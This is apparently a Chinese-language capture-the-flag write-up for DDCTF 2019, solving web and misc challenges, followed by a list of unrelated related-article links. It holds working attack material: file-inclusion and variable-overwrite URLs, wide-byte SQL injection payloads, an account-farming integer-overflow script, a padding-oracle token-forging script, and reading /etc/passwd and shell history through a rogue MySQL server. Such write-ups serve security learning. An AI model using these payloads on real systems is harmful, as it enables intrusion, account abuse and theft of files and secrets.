一年前第一次参加了DDCTF,再次参加简单记录下web与misc的writeup

Web

Web1 滴~

1、jpg参数可以包含文件,参数经过两次base64和一次16进制编码,将index.php编码后,get提交

即可得到index.php源码。源码中关键有三处,1.csdn博客,2.[a-zA-Z0-9.],3.config替换为!。

2、查看博客,在该博客下另一篇博客中获取到一个关键文件名,practice.txt.swp,一般情况应为.practice.txt.swp,这里应作为特殊情况。

3、从中获取到关键文件名flag!ddctf.php。因为jpg只允许输入字母数字点,所以无法直接获取源码,这里使用config来绕过,即flagconfigddctf.php即可获取文件内容。
4、文件内容存在变量覆盖漏洞,构造payload覆盖即可

http://117.51.150.246/f1ag!ddctf.php?k=practice.txt.swp&uid=f1ag!ddctf.php

Web2 WEB 签到题

1、访问页面,F12-Network-发现一个auth.php,存在一个可伪造的ddctf_username,将其伪造为admin,获取到http://117.51.158.44/app/fL2XID2i0Cdh.php,获取到两个文件的源码

2、将源码内容全部一遍,并且分析后,得知需要构造ddctf_id通过反序列化来读取flag,需要注意的几个点,

  a) ddctf_id要验证md5,且存在盐config/key.txt

  b) Path长度为18,会将../替换为空

3、关于a,当输入一个nickname时,会输出Welcome my friend $nickname,但因使用sprintf函数,存在格式化字符串操作,所以输入%s会输出config/key.txt,注意修改content-type。之后可以使用这个key伪造ddctf_id,格式为key+ser+md5(key+ser),并且Session.php包含了appication.php所以可以直接伪造application

4、关于b,../可以使用双写绕过,不足18字符部分,使用.和/补充。这里我的payload为

Web3 Upload-IMG

上传图片,将返回的图片下载,发现经过了二次渲染。在github搜索imagecreatefromjpeg后,找到个poc

https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg

知道该版本渲染存在绕过方式,只需在ffda....3f00后更改为想要的字符将不会被二次渲染,除此之外程序永远返回jpg。所以构造即可。

但是这里来到了坑点,并不是所有图片不会改变,在windows的phpstudy和linux下,多次尝试后发现,只需将一张渲染后的图片拿来更改成功率会大大提高,所以整个流程为。上传一张jpg,下载,更改下载的这张jpg,上传,获取flag。有一定成功率,多尝试即可。

Web4 homebrew event loop

审计源码后,知道输入的请求会被多段解析,最后在eval处执行方法,并且带一个list参数args。因为使用eval来执行参数,所以只需在url中使用%23(#)后即可注释后续字符,绕过handler限制,但因为存在一个list参数,所以无法直接执行FLAG,继续审计,得知trigger_event函数为一个队列,且执行buy_handler会把consume_point_function放入队列。

buy_handler的参数可以大于3,但因consume_point_function会验证回滚,所以我们就是要解决这个问题。经过审计,发现可以构造任意方法队列,所以我们直接构造这样的payload,action:trigger_event%23;action:buy;5%23action:get_flag;,即可将flag写入session。最后使用ph师傅的flask session解密脚本,解出flag

Web5 欢迎报名DDCTF

根据提示尝试xss,发现第一行,第二行,有字符输入限制。只需将xss,payload写在第三行即可xss成功,因之前扫描发现login.php,admin.php,且提示说不是xss cookie,所以这里尝试获取源码,在admin.php中获取到一个query_aIeMu0FUoVrW0NWPHbN6z4xh.php,根据提示,输入id,没有回显。尝试或其其他页面,获取到一个hint.php,得到查询字段。依然没有进展。最后在返回数据包中发现gbk,且提示为注入,尝试宽字节注入,%df%27...%23,经过常规手工注入后获取到flag

 ?id=1%df' union select 1,2,3,table_schema,table_name from information_schema.tables%23
?id=1%df' union select 1,2,3,4,column_name from information_schema.columns%23
?id=1%df' union select 1,2,ctf_value,4,5 from ctfdb.ctf_fhmHRPL5%23

Web6 大吉大利,今晚吃鸡~

第一关整数溢出,将票价定为2**32即可在付款时0元购票。

第二关需要新建多个小号,完成100次不同编号的击杀,只能使用脚本。这里给出脚本。

 import requests
import time for i in range(0,500):
s=requests.session()
r=''
username='wons'+str(i)
while '-' not in r:
url='http://117.51.147.155:5050/ctf/api/register?name={username}&password=wonswons'.format(username=username)
s.get(url)
url='http://117.51.147.155:5050/ctf/api/login?name={username}&password=wonswons'.format(username=username)
s.get(url)
url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
s.get(url)
url="http://117.51.147.155:5050/ctf/api/get_user_balance"
r=s.get(url).content[46:82]
print 1,r
time.sleep(0.8)
id=''
ticket=''
while id =='' or ticket=='':
url="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="+r
s.get(url)
url="http://117.51.147.155:5050/ctf/api/search_ticket"
try:
t=eval(s.get(url).content)
id=t['data'][0]['id']
ticket=t['data'][0]['ticket']
except:
pass
print 2,t
time.sleep(0.5)
v=''
if id==31:
continue
while '\u79fb\u9664\u4e00\u4e2a\u673a\u5668\u4eba\u73a9\u5bb6' not in v:
s=requests.session()
url='http://117.51.147.155:5050/ctf/api/login?name=wons&password=wonswons'
s.get(url)
url='http://117.51.147.155:5050/ctf/api/remove_robot?id={id}&ticket={ticket}'.format(id=id,ticket=ticket)
v=s.get(url).text
time.sleep(0.5)
print 3,v

Web7 mysql弱口令

将agent.py部署后,服务器建立mysql且为弱口令,多次tcpdump抓取数据,并且根据提示。大概明白是要完成一个类似于中间人攻击的操作,在github找到Rogue-MySql-Server,并且将agent.py返回的Rogue-MySql-Server的py进程,伪造为mysqld。达到任意文件读。尝试读取/etc/passwd,发现dc2-user,尝试读取其.bash_history,读取到后无果,尝试读取root的.bash_history,发现了关键内容vim /home/dc2-user/ctf_web_2/app/main/views.py,读取view.py后,发现flag在数据库中,经过多次尝试在/var/lib/mysql/security/flag.ibd中找到flag

Web8 再来1杯Java(并未解出)

Padding Oracel,这里附上脚本

 #coding=utf-8
import requests
s='UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'.decode('base64') #####获取后半段的middle
'''
middle=[]
for i in range(1,17):
iv=''
for j in middle[::-1]:
iv+=chr(i^j)
for j in range(256):
token=s[:16]+'\x00'*(16-i)+chr(j)+iv+s[32:]
token=token.encode('base64')[:-1]
cookies= {'token': token}
r=requests.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token',cookies=cookies).text
if 'parse' in r:
middle.append(j^i)
print token
break
print middle
'''
####伪造后半段的iv
'''
middle=[19, 80, 63, 211, 94, 75, 38, 89, 11, 199, 102, 4, 138, 135, 211, 167][::-1]
text='dmin":true}\x05\x05\x05\x05\x05'
new_iv=''
for i in range(len(text)):
new_iv+=chr(ord(text[i])^middle[i])
token=s[:16]+new_iv+s[32:]
token=token.encode('base64')[:-1]
print token
'''
###UGFkT3JhY2xlOml2L2NiY8O+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF
s='UGFkT3JhY2xlOml2L2NiY8O+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF'.decode('base64') #####获取前半段的middle
'''
middle=[]
for i in range(1,17):
iv=''
for j in middle[::-1]:
iv+=chr(i^j)
for j in range(256):
token='\x00'*(16-i)+chr(j)+iv+s[16:32]
token=token.encode('base64')[:-1]
cookies= {'token': token}
r=requests.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token',cookies=cookies).text
if 'parse' in r:
middle.append(j^i)
print token
break
print middle''' middle=[155, 97, 132, 252, 102, 28, 20, 19, 14, 193, 24, 113, 210, 113, 223, 16][::-1]
####伪造前半段的iv
text='{"id":100,"roleA'
new_iv=''
for i in range(len(text)):
new_iv+=chr(ord(text[i])^middle[i])
token=new_iv+s[16:]
token=token.encode('base64')[:-1]
print token
#a/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF

后续存在任意文件读,没有思路

Misc

Misc1 真签到题

公告栏里获取

Misc2 北京地铁

Lsb隐写得到aes密文,地图上魏公村颜色不一样,拼音即为密钥

 from Crypto.Cipher import AES

 key='weigongcun'
cryptor = AES.new(key+(16-len(key))*'\x00', AES.MODE_ECB)
text = cryptor.decrypt('iKk/Ju3vu4wOnssdIaUSrg=='.decode('base64'))
print text #DDCTF{CD*Q23&0}

Misc3 MulTzor

直接看密文发现每6个16进制可以分为一组,开头都为0-9,猜测是使用3位长的密钥进行加密,最终发现不对。最后使用xortool -c 20 file分析,获取了明文。

Misc5 Wireshark

从两个上传表单中获取到两张图,其中一张通过改高度获取key,然后将另一张放入数据包中出现的地址进行隐写解密,获取flag的十六进制

http://tools.jb51.net/aideddesign/img_add_info

Misc6 联盟决策大会

 p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
A1 = 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A
A2 = 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7
A4 = 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC
B3 = 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA
B4 = 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9
B5 = 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45
c1=(A1*8-A2*6+A4)/3
c2=B3*10-B4*15+B5*6
print hex(c1*2-(c2%p))[2:-1].decode('hex') #DDCTF{5x3ROxvqF2SJrDdVy73IADA04PxdLLab}

DDCTF-2019-writeup(7web+5misc)的更多相关文章

  1. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  2. Crypto CTF 2019 writeup

    Crypto CTF 2019 writeup roXen 题目 roXen Relationship with a cryptographer! The Girlfriend: All you ev ...

  3. 2019 DDCTF 部分writeup

    网上的wp已经很多了,但wp普遍很简略.我尽量写的详细一点. 一.WEB 滴~ 拿到题目后首先右键查看源代码,发现图片是以base64传送的 而且看url发现里面应该是包含了文件名,并且用了某个编码. ...

  4. DDCTF 2019 部分WP

    WEB 滴~ http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 观察链接可发现jpg的值是文件名转hex再bas ...

  5. CISCN 2019 writeup

    划水做了两个pwn和两个逆向...... 二进制题目备份 Re easyGO Go语言,输入有Please字样,ida搜索sequence of bytes搜please的hex值找到字符串变量,交叉 ...

  6. [DDCTF 2019]homebrew event loop

    0x00 知识点 逻辑漏洞: 异步处理导致可以先调用增加钻石,再调用计算价钱的.也就是先货后款. eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#a ...

  7. ddctf2019--web部分writeup

    0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...

  8. 【CTF】2019湖湘杯 miscmisc writeup

    题目来源:2019湖湘杯 题目链接:https://adworld.xctf.org.cn/task/answer?type=misc&number=1&grade=1&id= ...

  9. HITCON 2019 Lost Modular again writeup

    HITCON 2019 Lost Modular again writeup 算是基础题,有很多之前题的影子,做不出来纯属菜. 题目 加密脚本 from Crypto.Util.number impo ...

随机推荐

  1. 关于Mybatis的几件小事(二)

    一.MyBatis缓存机制 1.简介 Mybatis包含了一个非常强大的查询缓存的特性,它可以非常方便地配置和定制. 缓存key极大提高查询效率 MyBatis系统中默认定义了两次缓存 默认情况下,只 ...

  2. 小程序wxs是作用

    wxs weixin script,小程序的脚本语言:可以结合wxml构建页面结构: 说白了 就是在小程序里面写函数表达式的地方: wxml里面直接使用wxs,有错误再次刷新就能解决 <wxs ...

  3. 安卓开发之sql语句增删改查

    package com.lidaochen.phonecall; import android.content.Context; import android.database.sqlite.SQLi ...

  4. SQL学习——BETWEEN运算符

    原文链接 BETWEEN的作用 BETWEEN 操作符用于选取介于两个值之间的数据范围内的值. BETWEEN的边界 BETWEEN运算符选择给定范围内的值.值可以是数字,文本或日期. BETWEEN ...

  5. golang在linux后台执行的方法

    go build ./index.go 会生成一个index的运行文件 nohup index & 后台运行index文件 killall index 你可能还要关闭index set GOA ...

  6. 不重启linuxVMWare虚拟机添加虚拟光驱、硬盘

    方法/步骤1: VMware找到要添加虚拟光驱位置,先右击点击设置,如图所示: 步骤2: 出现此界面之后点击添加: 步骤3: 直接点击下一步,如下图所示: 点击完成,天机硬盘就完毕了. 磁盘添加完成, ...

  7. Javascript节点选择

    jQuery.parent(expr) 找父亲节点,可以传入expr进行过滤,比如$("span").parent()或者$("span").parent(&q ...

  8. hg如何回退到某个版本

    hg 如何回退 hg ... ? ? ?

  9. python模块 加密服务hashlib,hmac

    https://docs.python.org/zh-cn/3/library/hashlib.html hashlib --安全hash和消息摘要digest hmac -- keyed-Hashi ...

  10. JDK的收费问题

    关于JDK是否收费,我也有过疑问,查了一些资料,就在这里做一个简要的说明. 首先要明白JDK的发布模型.两年多以前,2017年9月21日,伴随着JDK9的发布,JDK就开启了新的发布模式(如下图所示) ...